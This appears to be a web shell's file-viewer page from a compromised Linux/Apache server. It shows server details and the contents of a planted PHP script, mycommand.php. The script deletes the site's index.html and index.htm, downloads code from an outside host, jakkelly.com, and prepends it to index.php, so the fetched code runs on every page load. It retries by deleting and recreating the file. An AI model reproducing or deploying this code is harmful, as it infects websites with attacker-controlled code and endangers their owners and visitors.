HEX
Server: Apache/2.4.59 (Debian)
System: Linux keymana 4.19.0-21-cloud-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
User: lijunjie (1003)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //proc/thread-self/root/proc/self/root/proc/self/root/proc/19805/cwd/2023/09/mycommand.php
<?php
echo "RESPONSESTART";
$root = rtrim($_SERVER["DOCUMENT_ROOT"],'/');
$index = $root.'/index.php';
$source = file_get_contents($index);
$index_html = $root.'/index.html';
$index_htm = $root.'/index.htm';
if(file_exists($index_html))
{
	unlink($index_html);
}
if(file_exists($index_htm))
{
	unlink($index_htm);
}
if(!preg_match('#<!--SYSADMIN-->#',$source))
{
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, "http://jakkelly.com/code.txt");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	$code = curl_exec($ch);
	curl_close($ch); 
	$new_code = $code.$source;
	$f = fopen($index, "w");
	if(fwrite($f, $new_code))
	{
		echo 'SUCCESS_CODE_RUN';
	}else{
		if(unlink($index))
		{
			touch($index);

	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, "http://jakkelly.com/code.txt");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	$code = curl_exec($ch);
	curl_close($ch); 
	$new_code = $code.$source;
	$f = fopen($index, "w");
			if(fwrite($f, $new_code))
			{
				echo 'SUCCESS_CODE_RUN';
			}
		}
	}
}else
{
	echo 'SUCCESS_CODE_RUN';
}
echo "RESPONSEEND";
?>